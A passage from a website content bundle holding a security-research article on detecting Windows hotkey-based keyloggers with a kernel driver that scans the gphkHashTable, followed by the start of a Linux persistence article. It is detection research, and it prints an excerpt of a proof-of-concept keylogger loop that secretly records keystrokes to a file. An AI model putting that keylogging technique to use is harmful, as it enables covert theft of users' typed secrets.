[in, optional] HWND hWnd, \n [in] int id,\n [in] UINT fsModifiers,\n [in] UINT vk\n);\n*/\nRegisterHotKey(NULL, 1, 0, 0x41);\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"After registering a hotkey, when the registered key is pressed, a \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/inputdev/wm-hotkey\",rel:\"nofollow\",children:(0,t.jsx)(e.strong,{children:\"WM_HOTKEY\"})}),\" message is sent to the message queue of the window specified as the first argument to the \",(0,t.jsx)(e.strong,{children:\"RegisterHotKey\"}),\" API (or to the thread that registered the hotkey if \",(0,t.jsx)(e.strong,{children:\"NULL\"}),\" is used). The code below demonstrates a message loop that uses the \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getmessage\",rel:\"nofollow\",children:(0,t.jsx)(e.strong,{children:\"GetMessage\"})}),\" API to check for a \",(0,t.jsx)(e.strong,{children:\"WM_HOTKEY\"}),\" message in the \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/winmsg/about-messages-and-message-queues\",rel:\"nofollow\",children:\"message queue\"}),\", and if one is received, it extracts the virtual-key code (in this case, 0x41) from the message.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:\"language-c\",children:`MSG msg = { 0 };\nwhile (GetMessage(\u0026msg, NULL, 0, 0)) {\n if (msg.message == WM_HOTKEY) {\n int vkCode = HIWORD(msg.lParam);\n std::cout \u003c\u003c \"WM_HOTKEY received! Virtual-Key Code: 0x\"\n \u003c\u003c std::hex \u003c\u003c vkCode \u003c\u003c std::dec \u003c\u003c std::endl;\n }\n}\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"In other words, imagine you're writing something in a notepad application. If the A key is pressed, the character won't be treated as normal text input \\u2014 it will be recognized as a global hotkey instead.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"In this example, only the A key is registered as a hotkey. However, you can register multiple keys (like B, C, or D) as separate hotkeys at the same time. This means that any key (i.e., any virtual-key code) that can be registered with the \",(0,t.jsx)(e.strong,{children:\"RegisterHotKey\"}),\" API can potentially be hijacked as a global hotkey. A hotkey-based keylogger abuses this capability to capture the keystrokes entered by the user.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Based on our testing, we found that not only alphanumeric and basic symbol keys, but also those keys when combined with the SHIFT modifier, can all be registered as hotkeys using the \",(0,t.jsx)(e.strong,{children:\"RegisterHotKey\"}),\" API. This means that a keylogger can effectively monitor every keystroke necessary to steal sensitive information.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"capturing-keystrokes-stealthily\",children:\"Capturing Keystrokes Stealthily\"}),`\n`,(0,t.jsx)(e.p,{children:\"Let's walk through the actual process of how a hotkey-based keylogger captures keystrokes, using the Hotkeyz hotkey-based keylogger as an example.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"In Hotkeyz, it first registers each alphanumeric virtual-key code \\u2014 and some additional keys, such as \",(0,t.jsx)(e.strong,{children:\"VK_SPACE\"}),\" and \",(0,t.jsx)(e.strong,{children:\"VK_RETURN\"}),\" \\u2014 as individual hotkeys by using the \",(0,t.jsx)(e.strong,{children:\"RegisterHotKey\"}),\" API.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Then, inside the keylogger's message loop, the \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-peekmessagew\",rel:\"nofollow\",children:(0,t.jsx)(e.strong,{children:\"PeekMessageW\"})}),\" API is used to check whether any \",(0,t.jsx)(e.strong,{children:\"WM_HOTKEY\"}),\" messages from these registered hotkeys have appeared in the message queue. When a \",(0,t.jsx)(e.strong,{children:\"WM_HOTKEY\"}),\" message is detected, the virtual-key code it contains is extracted and eventually saved to a text file. Below is an excerpt from the message loop code, highlighting the most important parts.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:\"language-c\",children:`while (...)\n{\n // Get the message in a non-blocking manner and poll if necessary\n if (!PeekMessageW(\u0026tMsg, NULL, WM_HOTKEY, WM_HOTKEY, PM_REMOVE))\n {\n Sleep(POLL_TIME_MILLIS);\n continue;\n }\n....\n // Get the key from the message\n cCurrVk = (BYTE)((((DWORD)tMsg.lParam) \u0026 0xFFFF0000) \u003e\u003e 16);\n\n // Send the key to the OS and re-register\n (VOID)UnregisterHotKey(NULL, adwVkToIdMapping[cCurrVk]);\n keybd_event(cCurrVk, 0, 0, (ULONG_PTR)NULL);\n if (!RegisterHotKey(NULL, adwVkToIdMapping[cCurrVk], 0, cCurrVk))\n {\n adwVkToIdMapping[cCurrVk] = 0;\n DEBUG_MSG(L\"RegisterHotKey() failed for re-registration (cCurrVk=%lu, LastError=%lu).\", cCurrVk, GetLastError());\n goto lblCleanup;\n }\n // Write to the file\n if (!WriteFile(hFile, \u0026cCurrVk, sizeof(cCurrVk), \u0026cbBytesWritten, NULL))\n {\n....\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"One important detail is this: to avoid alerting the user to the keylogger's presence, once the virtual-key code is extracted from the message, the key's hotkey registration is temporarily removed using the \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-unregisterhotkey\",rel:\"nofollow\",children:(0,t.jsx)(e.strong,{children:\"UnregisterHotKey\"})}),\" API. After that, the key press is simulated with \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-keybd_event\",rel:\"nofollow\",children:(0,t.jsx)(e.strong,{children:\"keybd_event\"})}),\" so that it appears to the user as if the key was pressed normally. Once the key press is simulated, the key is re-registered using the \",(0,t.jsx)(e.strong,{children:\"RegisterHotKey\"}),\" API to wait for further input. This is the core mechanism behind how a hotkey-based keylogger operates.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"detecting-hotkey-based-keyloggers\",children:\"Detecting Hotkey-Based Keyloggers\"}),`\n`,(0,t.jsx)(e.p,{children:\"Now that we understand what hotkey-based keyloggers are and how they operate, let's explain how to detect them.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"etw-does-not-monitor-the-registerhotkey-api\",children:\"ETW Does Not Monitor the RegisterHotKey API\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Following the approach described in an earlier article, we first investigated whether \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/etw/about-event-tracing\",rel:\"nofollow\",children:\"Event Tracing for Windows\"}),\" (ETW) could be used to detect hotkey-based keyloggers. Our research quickly revealed that ETW currently does not monitor the \",(0,t.jsx)(e.strong,{children:\"RegisterHotKey\"}),\" or \",(0,t.jsx)(e.strong,{children:\"UnregisterHotKey\"}),\" APIs. In addition to reviewing the manifest file for the Microsoft-Windows-Win32k provider, we reverse-engineered the internals of the \",(0,t.jsx)(e.strong,{children:\"RegisterHotKey\"}),\" API \\u2014 specifically, the \",(0,t.jsx)(e.strong,{children:\"NtUserRegisterHotKey\"}),\" function in win32kfull.sys. Unfortunately, we found no evidence that these APIs trigger any ETW events when executed.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The image below shows a comparison between the decompiled code for \",(0,t.jsx)(e.strong,{children:\"NtUserGetAsyncKeyState\"}),\" (which is monitored by ETW) and \",(0,t.jsx)(e.strong,{children:\"NtUserRegisterHotKey\"}),\". Notice that at the beginning of \",(0,t.jsx)(e.strong,{children:\"NtUserGetAsyncKeyState\"}),\", there is a call to \",(0,t.jsx)(e.strong,{children:\"EtwTraceGetAsyncKeyState\"}),\" \\u2014 a function associated with logging ETW events \\u2014 while \",(0,t.jsx)(e.strong,{children:\"NtUserRegisterHotKey\"}),\" does not contain such a call.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.img,{src:\"/assets/images/detecting-hotkey-based-keyloggers/image3.png\",alt:\"Figure 1: Comparison of the Decompiled Code for NtUserGetAsyncKeyState and NtUserRegisterHotKey\",width:\"1122\",height:\"556\"}),`\n\\u3000`,(0,t.jsx)(e.br,{}),`\n`,\"Although we also considered using ETW providers other than Microsoft-Windows-Win32k to indirectly monitor calls to the \",(0,t.jsx)(e.strong,{children:(0,t.jsx)(e.code,{children:\"RegisterHotKey\"})}),' API, we found that the detection method using the \"hotkey table\" \\u2014 which will be introduced next and does not rely on ETW \\u2014 achieves results that are comparable to or even better than monitoring the ',(0,t.jsx)(e.strong,{children:(0,t.jsx)(e.code,{children:\"RegisterHotKey\"})}),\" API. In the end, we chose to implement this method.\"]}),`\n`,(0,t.jsxs)(e.h3,{id:\"detection-using-the-hotkey-table-gphkhashtable\",children:[\"Detection Using the Hotkey Table (\",(0,t.jsx)(e.strong,{children:\"gphkHashTable\"}),\")\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"After discovering that ETW cannot directly monitor calls to the \",(0,t.jsx)(e.strong,{children:\"RegisterHotKey\"}),` API, we started exploring detection methods that don't rely on ETW. During our investigation, we wondered, \"Isn't the information for registered hotkeys stored somewhere? And if so, could that data be used for detection?\" Based on that hypothesis, we quickly found a hash table labeled `,(0,t.jsx)(e.strong,{children:\"gphkHashTable\"}),\" within \",(0,t.jsx)(e.strong,{children:\"NtUserRegisterHotKey\"}),\". Searching Microsoft's online documentation revealed no details on \",(0,t.jsx)(e.strong,{children:\"gphkHashTable\"}),\", suggesting that it's an undocumented kernel data structure.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/detecting-hotkey-based-keyloggers/image1.png\",alt:\"Figure 2: The hotkey table (gphkHashTable), discovered within the RegisterHotKey function called inside NtUserRegisterHotKey\",width:\"722\",height:\"340\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Through reverse engineering, we discovered that this hash table stores objects containing information about registered hotkeys. Each object holds details such as the virtual-key code and modifiers specified in the arguments to the \",(0,t.jsx)(e.strong,{children:\"RegisterHotKey\"}),\" API. The right side of Figure 3 shows part of the structure definition for a hotkey object (named \",(0,t.jsx)(e.strong,{children:\"HOT_KEY\"}),\"), while the left side displays how the registered hotkey objects appear when accessed via WinDbg.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/detecting-hotkey-based-keyloggers/image4.png\",alt:\"Figure 3: Hotkey Object Details. WinDbg view (left) and HOT_KEY structure details (right)\",width:\"1220\",height:\"410\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"We also determined that \",(0,t.jsx)(e.strong,{children:\"ghpkHashTable\"}),\" is structured as shown in Figure 4. Specifically, it uses the result of the modulo operation (with 0x80) on the virtual-key code (specified by the RegisterHotKey API) as the index into the hash table. Hotkey objects sharing the same index are linked together in a list, which allows the table to store and manage hotkey information even when the virtual-key codes are identical but the modifiers differ.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/detecting-hotkey-based-keyloggers/image6.png\",alt:\"Figure 4: Structure of gphkHashTable\",width:\"1113\",height:\"542\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"In other words, by scanning all HOT_KEY objects stored in \",(0,t.jsx)(e.strong,{children:\"ghpkHashTable\"}),\", we can retrieve details about every registered hotkey. If we find that every main key \\u2014 for example, each individual alphanumeric key \\u2014 is registered as a separate hotkey, that strongly indicates the presence of an active hotkey-based keylogger.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"implementing-the-detection-tool\",children:\"Implementing the Detection Tool\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Now, let's move on to implementing the detection tool. Since \",(0,t.jsx)(e.strong,{children:\"gphkHashTable\"}),\" resides in the kernel space, it cannot be accessed by a user-mode application. For this reason, it was necessary to develop a device driver for detection. More specifically, we decided to develop a device driver that obtains the address of \",(0,t.jsx)(e.strong,{children:\"gphkHashTable\"}),\" and scans through all the hotkey objects stored in the hash table. If the number of alphanumeric keys registered as hotkeys exceeds a predefined threshold, it will alert us to the potential presence of a hotkey-based keylogger.\"]}),`\n`,(0,t.jsxs)(e.h3,{id:\"how-to-obtain-the-address-of-gphkhashtable\",children:[\"How to Obtain the Address of \",(0,t.jsx)(e.strong,{children:\"gphkHashTable\"})]}),`\n`,(0,t.jsxs)(e.p,{children:[\"While developing the detection tool, one of the first challenges we faced was how to obtain the address of \",(0,t.jsx)(e.strong,{children:\"gphkHashTable\"}),\". After some consideration, we decided to extract the address directly from an instruction in the \",(0,t.jsx)(e.strong,{children:\"win32kfull.sys\"}),\" driver that accesses \",(0,t.jsx)(e.strong,{children:\"gphkHashTable\"}),\".\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Through reverse engineering, we discovered that within the IsHotKey function \\u2014 right at the beginning \\u2014 there is a lea instruction (lea rbx, \",(0,t.jsx)(e.strong,{children:\"gphkHashTable\"}),\") that accesses \",(0,t.jsx)(e.strong,{children:\"gphkHashTable\"}),\". We used the opcode byte sequence (0x48, 0x8d, 0x1d) from that instruction as a signature to locate the corresponding line, and then computed the address of \",(0,t.jsx)(e.strong,{children:\"gphkHashTable\"}),\" using the obtained 32-bit (4-byte) offset.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/detecting-hotkey-based-keyloggers/image5.png\",alt:\"Figure 5: Inside the IsHotKey function\",width:\"1128\",height:\"350\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Additionally, since \",(0,t.jsx)(e.strong,{children:\"IsHotKey\"}),\" is not an exported function, we also need to know its address before looking for \",(0,t.jsx)(e.strong,{children:\"gphkHashTable\"}),\". Through further reverse engineering, we discovered that the exported function \",(0,t.jsx)(e.strong,{children:\"EditionIsHotKey\"}),\" calls the \",(0,t.jsx)(e.strong,{children:\"IsHotKey\"}),\" function. Therefore, we decided to compute the address of IsHotKey within the \",(0,t.jsx)(e.strong,{children:\"EditionIsHotKey\"}),\" function using the same method described earlier. (For reference, the base address of \",(0,t.jsx)(e.strong,{children:\"win32kfull.sys\"}),\" can be found using the \",(0,t.jsx)(e.strong,{children:\"PsLoadedModuleList\"}),\" API.)\"]}),`\n`,(0,t.jsxs)(e.h3,{id:\"accessing-the-memory-space-of-win32kfullsys\",children:[\"Accessing the Memory Space of \",(0,t.jsx)(e.strong,{children:\"win32kfull.sys\"})]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Once we finalized our approach to obtaining the address of \",(0,t.jsx)(e.strong,{children:\"gphkHashTable\"}),\", we began writing code to access the memory space of \",(0,t.jsx)(e.strong,{children:\"win32kfull.sys\"}),\" to retrieve that address. One challenge we encountered at this stage was that win32kfull.sys is a \",(0,t.jsx)(e.em,{children:\"session driver\"}),\". Before proceeding further, here\\u2019s a brief, simplified explanation of what a \",(0,t.jsx)(e.em,{children:\"session\"}),\" is.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"In Windows, when a user logs in, a separate session (with session numbers starting from 1) is assigned to each user. Simply put, the first user to log in is assigned \",(0,t.jsx)(e.strong,{children:\"Session 1\"}),\". If another user logs in while that session is active, that user is assigned \",(0,t.jsx)(e.strong,{children:\"Session 2\"}),\", and so on. Each user then has their own desktop environment within their assigned session.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Kernel data that must be managed separately for each session (i.e., per logged-in user) is stored in an isolated area of kernel memory called \",(0,t.jsx)(e.em,{children:\"session space\"}),\". This includes GUI objects managed by win32k drivers, such as windows and mouse/keyboard input data, ensuring that the screen and input remain properly separated between users.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsxs)(e.em,{children:[\"(This is a simplified explanation. For a more detailed discussion on sessions, please refer to \",(0,t.jsx)(e.a,{href:\"https://googleprojectzero.blogspot.com/2016/01/raising-dead.html\",rel:\"nofollow\",children:\"James Forshaw\\u2019s blog post\"}),\".)\"]})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/detecting-hotkey-based-keyloggers/image2.png\",alt:\"Figure 6: Overview of Sessions. Session 0 is dedicated exclusively to service processes\",width:\"735\",height:\"543\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Based on the above, \",(0,t.jsx)(e.strong,{children:\"win32kfull.sys\"}),\" is known as a \",(0,t.jsx)(e.em,{children:\"session driver\"}),\". This means that, for example, hotkey information registered in the session of the first logged-in user (Session 1) can only be accessed from within that same session. So, how can we work around this limitation? In such cases, \",(0,t.jsx)(e.a,{href:\"https://eversinc33.com/posts/kernel-mode-keylogging.html\",rel:\"nofollow\",children:\"it is known\"}),\" that \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-kestackattachprocess\",rel:\"nofollow\",children:(0,t.jsx)(e.strong,{children:\"KeStackAttachProcess\"})}),\" can be used.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"KeStackAttachProcess\"}),\" allows the current thread to temporarily attach to the address space of a specified process. If we can attach to a GUI process in the target session \\u2014 more precisely, a process that has loaded \",(0,t.jsx)(e.strong,{children:\"win32kfull.sys\"}),\" \\u2014 then we can access \",(0,t.jsx)(e.strong,{children:\"win32kfull.sys\"}),\" and its associated data within that session. For our implementation, assuming that only one user is logged in, we decided to locate and attach to \",(0,t.jsx)(e.strong,{children:\"winlogon.exe\"}),\", the process responsible for handling user logon operations.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"enumerating-registered-hotkeys\",children:\"Enumerating Registered Hotkeys\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Once we have successfully attached to the winlogon.exe process and determined the address of \",(0,t.jsx)(e.strong,{children:\"gphkHashTable\"}),\", the next step is simply scanning \",(0,t.jsx)(e.strong,{children:\"gphkHashTable\"}),\" to check the registered hotkeys. Below is an excerpt of that code:\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:\"language-c\",children:`BOOL CheckRegisteredHotKeys(_In_ const PVOID\u0026 gphkHashTableAddr)\n{\n-[skip]-\n // Cast the gphkHashTable address to an array of pointers.\n PVOID* tableArray = static_cast\u003cPVOID*\u003e(gphkHashTableAddr);\n // Iterate through the hash table entries.\n for (USHORT j = 0; j \u003c 0x80; j++)\n {\n PVOID item = tableArray[j];\n PHOT_KEY hk = reinterpret_cast\u003cPHOT_KEY\u003e(item);\n if (hk)\n {\n CheckHotkeyNode(hk);\n }\n }\n-[skip]-\n}\n\nVOID CheckHotkeyNode(_In_ const PHOT_KEY\u0026 hk)\n{\n if (MmIsAddressValid(hk-\u003epNext)) {\n CheckHotkeyNode(hk-\u003epNext);\n }\n\n // Check whether this is a single numeric hotkey.\n if ((hk-\u003evk \u003e= 0x30) \u0026\u0026 (hk-\u003evk \u003c= 0x39) \u0026\u0026 (hk-\u003emodifiers1 == 0))\n {\n KdPrint((\"[+] hk-\u003eid: %u hk-\u003evk: %x\\\\n\", hk-\u003eid, hk-\u003evk));\n hotkeyCounter++;\n }\n // Check whether this is a single alphabet hotkey.\n else if ((hk-\u003evk \u003e= 0x41) \u0026\u0026 (hk-\u003evk \u003c= 0x5A) \u0026\u0026 (hk-\u003emodifiers1 == 0))\n {\n KdPrint((\"[+] hk-\u003eid: %u hk-\u003evk: %x\\\\n\", hk-\u003eid, hk-\u003evk));\n hotkeyCounter++;\n }\n-[skip]-\n}\n....\nif (CheckRegisteredHotKeys(gphkHashTableAddr) \u0026\u0026 hotkeyCounter \u003e= 36)\n{\n detected = TRUE;\n goto Cleanup;\n}\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The code itself is straightforward: it iterates through each index of the hash table, following the linked list to access every \",(0,t.jsx)(e.strong,{children:\"HOT_KEY\"}),\" object, and checks whether the registered hotkeys correspond to alphanumeric keys without any modifiers. In our detection tool, if every alphanumeric key is registered as a hotkey, an alert is raised, indicating the possible presence of a hotkey-based keylogger. For simplicity, this implementation only targets alphanumeric key hotkeys, although it would be easy to extend the tool to check for hotkeys with modifiers such as \",(0,t.jsx)(e.strong,{children:\"SHIFT\"}),\".\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"detecting-hotkeyz\",children:\"Detecting Hotkeyz\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The detection tool (Hotkey-based Keylogger Detector) has been released below. Detailed usage instructions are provided as well. Additionally, this research was presented at \",(0,t.jsx)(e.a,{href:\"https://nullcon.net/goa-2025/speaker-windows-keylogger-detection\",rel:\"nofollow\",children:\"NULLCON Goa 2025\"}),\", and the \",(0,t.jsx)(e.a,{href:\"https://docs.google.com/presentation/d/1B0Gdfpo-ER2hPjDbP_NNoGZ8vXP6X1_BN7VZCqUgH8c/edit?usp=sharing\",rel:\"nofollow\",children:\"presentation slides\"}),\" are available.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.a,{href:\"https://github.com/AsuNa-jp/HotkeybasedKeyloggerDetector\",rel:\"nofollow\",children:\"https://github.com/AsuNa-jp/HotkeybasedKeyloggerDetector\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The following is a demo video showcasing how the Hotkey-based Keylogger Detector detects Hotkeyz.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.a,{href:\"https://drive.google.com/file/d/1koGLqA5cPlhL8C07MLg9VDD9-SW2FM9e/view?usp=drive_link\",rel:\"nofollow\",children:\"DEMO_VIDEO.mp4\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"acknowledgments\",children:\"Acknowledgments\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"We would like to express our heartfelt gratitude to Jonathan Bar Or for reading our previous article, sharing his insights on hotkey-based keyloggers, and generously publishing the PoC tool \",(0,t.jsx)(e.strong,{children:\"Hotkeyz\"}),\".\"]})]})}function v(n={}){let{wrapper:e}=n.components||{};return e?(0,t.jsx)(e,Object.assign({},n,{children:(0,t.jsx)(l,n)})):l(n)}var H=v;return m(T);})();\n;return Component;"},"_id":"articles/detecting-hotkey-based-keyloggers.mdx","_raw":{"sourceFilePath":"articles/detecting-hotkey-based-keyloggers.mdx","sourceFileName":"detecting-hotkey-based-keyloggers.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/detecting-hotkey-based-keyloggers"},"type":"Article","imageUrl":"/assets/images/detecting-hotkey-based-keyloggers/Security Labs Images 12.jpg","readingTime":"15 min read","series":"","url":"/detecting-hotkey-based-keyloggers","headings":[{"level":2,"title":"Introduction","href":"#introduction"},{"level":2,"title":"Overview of Hotkey-based Keyloggers","href":"#overview-of-hotkey-based-keyloggers"},{"level":3,"title":"What Is a Hotkey?","href":"#what-is-a-hotkey"},{"level":3,"title":"Abusing Custom Hotkey Registration Functionality","href":"#abusing-custom-hotkey-registration-functionality"},{"level":3,"title":"Capturing Keystrokes Stealthily","href":"#capturing-keystrokes-stealthily"},{"level":2,"title":"Detecting Hotkey-Based Keyloggers","href":"#detecting-hotkey-based-keyloggers"},{"level":3,"title":"ETW Does Not Monitor the RegisterHotKey API","href":"#etw-does-not-monitor-the-registerhotkey-api"},{"level":3,"title":"Detection Using the Hotkey Table (**gphkHashTable**)","href":"#detection-using-the-hotkey-table-gphkhashtable"},{"level":2,"title":"Implementing the Detection Tool","href":"#implementing-the-detection-tool"},{"level":3,"title":"How to Obtain the Address of **gphkHashTable**","href":"#how-to-obtain-the-address-of-gphkhashtable"},{"level":3,"title":"Accessing the Memory Space of **win32kfull.sys**","href":"#accessing-the-memory-space-of-win32kfullsys"},{"level":3,"title":"Enumerating Registered Hotkeys","href":"#enumerating-registered-hotkeys"},{"level":3,"title":"Detecting Hotkeyz","href":"#detecting-hotkeyz"},{"level":2,"title":"Acknowledgments","href":"#acknowledgments"}],"author":[{"title":"Asuka Nakajima","slug":"asuka-nakajima","description":"Senior Security Research Engineer, Elastic","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var i=Object.defineProperty;var j=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,l=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of f(e))!l.call(t,r)\u0026\u0026r!==n\u0026\u0026i(t,r,{get:()=\u003ee[r],enumerable:!(o=j(e,r))||o.enumerable});return t};var k=(t,e,n)=\u003e(n=t!=null?x(g(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),p=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=_((E,c)=\u003e{c.exports=_jsx_runtime});var C={};d(C,{default:()=\u003ey,frontmatter:()=\u003eM});var a=k(u()),M={title:\"Asuka Nakajima\",description:\"Senior Security Research Engineer, Elastic\",slug:\"asuka-nakajima\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function h(t={}){let{wrapper:e}=t.components||{};return e?(0,a.jsx)(e,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var y=h;return p(C);})();\n;return Component;"},"_id":"authors/asuka-nakajima.mdx","_raw":{"sourceFilePath":"authors/asuka-nakajima.mdx","sourceFileName":"asuka-nakajima.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/asuka-nakajima"},"type":"Author","imageUrl":"","url":"/authors/asuka-nakajima"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"},{"title":"Detection science","slug":"detection-science","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var c=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)c(t,n,{get:e[n],enumerable:!0})},i=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026c(t,o,{get:()=\u003ee[o],enumerable:!(s=f(e,o))||s.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(d(t)):{},i(e||!t||!t.__esModule?c(n,\"default\",{value:t,enumerable:!0}):n,t)),D=t=\u003ei(c({},\"__esModule\",{value:!0}),t);var u=j((h,a)=\u003e{a.exports=_jsx_runtime});var X={};l(X,{default:()=\u003eF,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Detection science\",slug:\"detection-science\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var F=C;return D(X);})();\n;return Component;"},"_id":"categories/detection-science.mdx","_raw":{"sourceFilePath":"categories/detection-science.mdx","sourceFileName":"detection-science.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/detection-science"},"type":"Category","url":"/categories/detection-science"}]},{"title":"Linux Detection Engineering - The Grand Finale on Linux Persistence","slug":"the-grand-finale-on-linux-persistence","date":"2025-02-27","description":"By the end of this series, you'll have a robust knowledge of both common and rare Linux persistence techniques; and you'll understand how to effectively engineer detections for common and advanced adversary capabilities.","image":"Security Labs Images 5.jpg","subtitle":"Building on previous research, this article describes creative, complex, or rare persistence techniques.","body":{"raw":"\n# Introduction\nWelcome to the grand finale of the “Linux Persistence Detection Engineering” series! In this fifth and final part, we continue to dig deep into the world of Linux persistence. Building on the foundational concepts and techniques explored in the previous publications, this post discusses some more obscure, creative and/or complex backdoors and persistence mechanisms.\n\n\n\nIf you missed the earlier articles, they lay the groundwork by exploring key persistence concepts. You can catch up on them here:\n\n* [*Linux Detection Engineering - A Primer on Persistence Mechanisms*](https://www.elastic.co/security-labs/primer-on-persistence-mechanisms) \n* [*Linux Detection Engineering - A Sequel on Persistence Mechanisms*](https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms) \n* [*Linux Detection Engineering - A Continuation on Persistence Mechanisms*](https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms) \n* [*Linux Detection Engineering - Approaching the Summit on Persistence 